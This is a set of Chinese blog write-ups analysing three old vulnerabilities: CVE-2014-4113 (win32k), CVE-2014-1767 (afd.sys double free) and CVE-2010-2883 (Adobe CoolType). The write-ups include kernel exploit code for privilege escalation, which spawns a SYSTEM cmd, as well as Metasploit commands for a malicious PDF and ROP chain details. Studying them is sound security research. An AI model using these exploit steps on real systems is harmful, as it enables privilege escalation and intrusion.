函数
1 | int __stdcall xxxMNFindWindowFromPoint(WCHAR UnicodeString, int a2, int a3) |
我们在windbg中下断重新运行Poc之后到达了这里,我们单步查看xxxSendMessage
函数的返回值发现是 fffffffb,通过观察我们发现这里传了一个1EBh的消息
1 | 3: kd> r |
我们查询消息 1EBh 其原型是MN_FINDWINDOWFROMPOINT
,我们现在知道了这个 fffffffb 产生的原因,就是xxxSendMessage
函数处理1EBh 消息的返回值,因为返回的是 fffffffb ,后面cmp edi, [esi+8]
语句又对 0x3 地址进行了访问就造成了蓝屏,这就是漏洞产生的原因
我们查看一下 Poc 源码中是如何构造的,先从简单的分析,在main函数中我们可以大致得到如下代码片段,我们首先创建了一个主窗口,又新建了两个菜单并插入了新菜单项,然后我们调用了SetWindowsHookExA
来拦截 1EBh 的消息,具体内容后面分析,最后我们调用了TrackPopupMenu
函数触发漏洞
1 | main() |
我们来看一些有趣的细节,第一个点就是 main_wnd 中的消息处理函数,注释里面写的很清楚,这里首先判断消息是否进入了空闲状态,如果是则通过PostMessageA
函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞点
1 | LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { |
第二个点就是我们SetWindowsHookExA
拦截 0x1EB 消息,这里SetWindowLongA
设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu
函数才有意义,我们调用EndMenu
函数销毁了这个菜单,此时的win32k!xxxSendMessage
函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint
就会返回 fffffffb ,最后到达win32k!xxxHandleMenuMessages
函数的时候再次调用win32k!xxxSendMessage
时就出现了问题
1 | //Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer. |
接下来就是我们最喜欢的漏洞利用环节了,让我们首先看一个令人兴奋的片段
1 | loc_95DB94E8: |
这个位置是哪里呢?让我用图片给你说明,因为零页可控,所以我们只需要考虑从漏洞点走到利用点,然后在 0x5c 处放置我们的shellcode即可提权
期间我们有两处判断,第一处只需要赋值当前的Win32ThreadInfo
结构即可,第二处判断赋值为4即可,最后放上我们的shellcode即可
1 | DWORD __stdcall ptiCurrent() |
最终的利用代码在 => GitHub
其实这个漏洞我很早之前就分析过,但是都是分析的成品Exploit,当时不是很了解内核,分析起来非常吃力,现在重新回来分析一次又有不一样的收获,就像我现在分析CVE-2015-0057一样,毫无思绪,分析完这篇之后我会考虑分析CVE-2015-2546,最后再到CVE-2015-0057
]]>这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏洞奖”得主,影响力还是很大的,实验环境的一些文件我放到GitHub上了,需要的自行下载:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767
1 |
|
该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。
Double free,内核相关知识等等
调试运行poc得到以下报错,崩溃原因是重复释放了一块已经被释放了的内存:
调用堆栈信息:
我们可以得到如下函数的调用关系:
afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl->nt!ExFreePoolWithTag->nt!KeBugCheck2
可以看到,出问题的是afd模块,我们查看afd模块详细信息:
得到以上分析后,我们需要搞清楚poc做了什么事情,首先初始化本地socket连接,然后发送了两次数据,poc一共调用了两次DeviceIoControl函数,向控制码0x1207F和0x120C3发送了数据,我们直接从这两次IO控制码分发函数入手。
我们首先针对nt!NtDeviceIoControlFile设置条件断点,当其在处理0x1207F时断下,根据官方文档,该函数的第六个参数是IO控制码,也就是esp+18,因此条件断点为:
bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”
断下来之后查看堆栈情况和调用情况:
可以使用wt命令跟踪后续函数调用过程,可以发现,当 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile 函数,我们直接对这个函数进行分析,这里我们直接用IDA反编译Afd中的AfdTransmitFile函数,因为该函数有两个参数(pIRP和pIoStackLocation),我们将反编译的a1,a2改名为该参数,通过 IoStackLocation 我们就可以访问用户传递的数据了:
通过分析,我们想要调用AfdTliGetTpInfo函数,必须满足这三个条件:
(v54 & 0xFFFFFFC8) ==0
(v54 & 0x30) != 0x30
(v54 & 0x30) != 0
满足上面条件之后,程序会调用AfdTliGetTpInfo函数,TpInfoElementCount是这个函数的参数,该函数的返回值是一个指向TpInfo结构体的指针,根据对AfdTransmitFile剩余函数部分的分析,该结构体大致如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19struct TpInfo
{
......
TpInfoElement *pTpInfoElement ; // +0x20, TpInfoElement数组指针
......
ULONG TpInfoElementCount; // +0x28, TpInfoElement数组元素个数
......
ULONG AfdTransmitIoLength; // +0x38, 传输的默认IO长度
......
}
struct TpInfoElement {
int status; // +0x00, 状态码
ULONG length ; // +0x04, 长度
PVOID VirtualAddress ; // +0x08, 虚拟地址
PVOID *pMdl ; // +0x0C, 指向MDL内存描述符表的指针
ULONG Reserved1 ; // +0x10, 未知
ULONG Reserved2 ; // +0x14, 未知
} ;
用IDA反编译AfdTliGetTpInfo函数可以发现:
以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体,函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下:1
2
3
4
5
6
7
8
9
10
11TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside)
{
*(Lookaside+0x0C) ++ ;
tpInfo = InterlockedPopEntrySList( Lookaside )
if( tpInfo == NULL)
{
*(Lookaside+0x10)++;
tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
}
return tpInfo
}
AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数,我们直接分析赋值部分:1
2
3
4
5
6
7
8AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
……
tpInfo->pElemArray = tpInfo+0x90
tpInfo->elemCount = 0
tpInfo->isOuterMem = false
……
}
根据上面的几个函数调用关系,我们可以大致分析的出来函数的调用顺序,经过以下调用,我们可以得到一个tpInfo结构体:
ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo
现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:
MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值,因此触发异常,调用AfdReturnTpInfo函数:
在AfdReturnTpInfo函数中,由于在释放MDL资源后,未对TpInfoElement+0xC指针清空,导致后面再次调用时将被IoFreeMdl函数用于释放内存,导致双重释放漏洞。
第二次追踪控制码,程序会调用afd!AfdTransmitPackets函数,我们继续下条件断点:
bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”
afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation,我们用IDA反编译查看分析,需要满足以下三个条件实现AfdTdiGetTpInfo函数:
Poc中设置inbuf2为0xAAAAAAA个TpInfoElement,一共占0x18*0xAAAAAAA = 0xFFFFFFF0,显然申请如此大内存会触发异常调用AfdReturnTpInfo函数
继续运行,该函数再次调用时会触发漏洞,导致系统蓝屏
思路是不可能有思路的,这里当然是选择参考分析大佬的思路:
[1]. 调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
[2]. 创建某个对象,使得这个对象恰好占据刚才被 free 掉的空间,至此转化 double-free 为 use-after-free 问题
[3]. 调用 DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象
[4]. 覆盖被释放掉的对象为可控数据(伪造对象)
[5]. 尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,达到提权的效果
简而言之,就是把double free玩成了UAF,实现一个内存的写,然后hook掉该函数
由于对象的大小要等于第一次free的大小,并且这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出,MDL 对象的大小是由 virtualAddress 和 length 共同决定的,具体大小是:1
2pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12)
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C
对于操作函数Siberas团队使用的是WorkerFactory函数,位置是反编译下图的exe,IDA中的函数是sub_468875
我们找到关键的地方分析:
可以看到,当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意数据的目的:1
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;
我们可以设置 :
1
2arg3 = ShellCode
*(*object+0x10)+0x1C =(HalDispatchTable+0x4)=HaliQuerySystemInformation
这样就可以将shellcode地址写入HaliQuerySystemInformation,供后续shellcode执行。
我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数 据到它新申请的这个内存中去,说白了就是完成一次内核 Alloc 并且 memcpy 的操作,借助那篇 pdf 的思路,就是NtQueryEaFile 函数,下面是函数原型和关键的参数:
我们还是用IDA反编译看一下内容:
就是说内部会调用 :1
2p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49)
memcpy(p, EaList)
其中 EaLength 与 EaList 都是输入参数,用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4,即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4,在对释放对象内存进行占用时,应该将对象大小objectsize – 4,才能成功占用。
WorkerFactory占用空间的大小我们跟踪这条链:
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag
我们发现申请的内存大小是0xA0字节
这里借助会飞的猫大佬的exp,在VS2015,release版本下编译,提权成功,大佬的思路也非常清晰:
1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数,并设置好inbuf2的值1
2
3
4
5
6
7
8
9
10
11
12
13
14
15DWORD targetSize = 0xA0;
DWORD virtualAddress = 0x13371337;
DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;
static DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1));
inbuf1[6] = virtualAddress;
inbuf1[7] = Length;
static DWORD inbuf2[100];
memset(inbuf2, 0, sizeof(inbuf2));
inbuf2[0] = 1;
inbuf2[1] = 0x0AAAAAAA;
2)创建一个Workerfactory对象1
2
3
4
5
6
7
8
9//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}
3)第一次释放1
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
4)第二次释放1
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
5)伪造对象并拷贝shellcode执行1
2
3
4
5
6
7
8
9int MyNtSetInformationWorkerFactory()
{
DWORD* tem = (DWORD*)malloc(0x20);
memset(tem, 'A', 0x20);
tem[0] = (DWORD)shellcode;
NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
return 0;
}
6)用户模式触发,系统权限调用cmd1
2
3
4
5
6
7
8
9
10
11
12
13//Trigger from user mode
ULONG temp = 0;
status = NtQueryIntervalProfile(2, &temp);
if (!NT_SUCCESS(status))
{
printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
return -1;
}
printf("done!\n");
//Sleep(000);
//Create a new cmd process with current token
printf("Creating a new cmd...\n");
CreatNewCmd();
在win10下,调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生
这个漏洞分析起来很麻烦,涉及的东西也很多,要有耐心才能分析的出来,从漏洞利用的思路,别人的exp编写来看,大牛确实厉害,自己的路还很长,希望自己有一天也能写出这样的exp来 。
参考资料:
[+] https://www.jianshu.com/p/6b01cfa41f0c
[+] https://www.cnblogs.com/flycat-2016/p/5450275.html
[+] https://bbs.pediy.com/thread-194457.htm
记录一次漏洞调试的学习过程,实验环境的一些文件我已上传到GitHub上,欢迎下载
漏洞文件的生成:1
2
3
4
5
6msfconsole
search cve-2010-2883
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit
Adobe Reader 9.3.4+PdfStreamDumper.exe+msf.pdf下载地址:
https://github.com/ThunderJie/CVE/tree/master/CVE-2010-2883
1.IDA静态分析CoolType.dll找到漏洞点
搜索字符串“SING”找到溢出点,可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制,造成溢出搜索字符串“SING”找到溢出点,可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制,造成溢出
2.PDFStreamDumper分析文件偏移
TTF(TrueTypeFont)是Apple公司和Microsoft公司共同推出的字体文件格式,随着windows的流行,已经变成最常用的一种字体文件表示方式,官方文档对TTF中SING表的TableEntry定义如下:1
2
3
4
5
6
7typedef sturct_SING
{
char tag[4]; //"SING"
ULONG checkSum;//校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
} TableEntry;
我们通过PDFStreamDumper导入漏洞文件,找到TableEntry
从TableEntry结构入口偏移0x11c即为SING表真实数据,也就是从00 00 01 00开始的部分
又根据SING表的数据结构,再偏移0x10即为uniqueName域,如下图:
strcat函数执行后,将00 00 00 3A之后的数据复制到ebp指定地址直到下图的NULL为止
3.OD进行动态调试
打开Adobe Reader 用OD附加此程序,F9运行,crtl+g设置断点在0x803DD9F处,Adobe Reader中打开msf.pdf自动中断在0x803DD89F处
运行一步将数据窗口的值跟随EAX的值,对比PDFStreamDumper的值,这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中
选中所有的shelloce,在上面下内存访问断点,F9运行,开始寻找执行shellcode的代码。
F9运行第一次断在这里,取出了一个byte比较,没有到关键点,继续运行
继续运行有很多比较的地方,运行到这里是循环取出4byte的数据,但是还没有到关键点,继续运行
一直运行到这里,终于到关键点了,这里有一个调用虚表的指令,一开始虚表是存在栈上的,但是被我们溢出覆盖成了恶意地址
软件因为自带DEP保护,需要用到Heap Spray技术和构造ROP链来绕过,ROP的地址选取的是0x4a82a714和0x4a80cb38两处地址,因为在Adobe Reader各个版本中这个dll上的这两个地址不会改变,如下图
继续运行可以看到调用在icucnv36.dll中的内容
运行分析第一处ROP1
2pop esp
retn
查看堆栈情况变化
继续运行来到第二处ROP1
2pop ecx
retn
时刻关注堆栈情况
继续运行来到第三处ROP1
2mov dword ptr ds:[ecx],eax
retn
时刻关注堆栈情况
运行来到第四次ROP,这里保存了CreateFileA函数地址1
2pop eax
retn
时刻关注堆栈情况
继续运行,这里跳转到函数地址准备调用函数
这里打开或创建了iso88591文件
继续运行了几次之后发现后面的rop链是为了调用这三个函数,CreateFileMappingA()函数实现创建文件内存映射,后面两个函数作用是将shellcode拷贝到内存可执行段,实现方法和前面很相似,就不放那么多照片了。
继续运行到这里可以看到正在执行shellcode部分
运行到了这里终于要到了调用计算器的地方
最终调用到计算器,完成测试
第一次记录关于调试CVE漏洞的文章,实践起来确实加深了对漏洞的理解,虽然原理只是运用了一个栈溢出,可是实践起来却涉及了许许多多的技术,以前做过一些ctf中pwn的题目对栈溢出漏洞原理比较熟悉,可能有些地方没有说清楚,如果有不懂的地方欢迎交流。
参考资料:
《漏洞战争 软件漏洞分析精要》
https://blog.csdn.net/qq_31481187/article/details/74093072
https://blog.csdn.net/andy7002/article/details/74276469?utm_source=blogxgwz9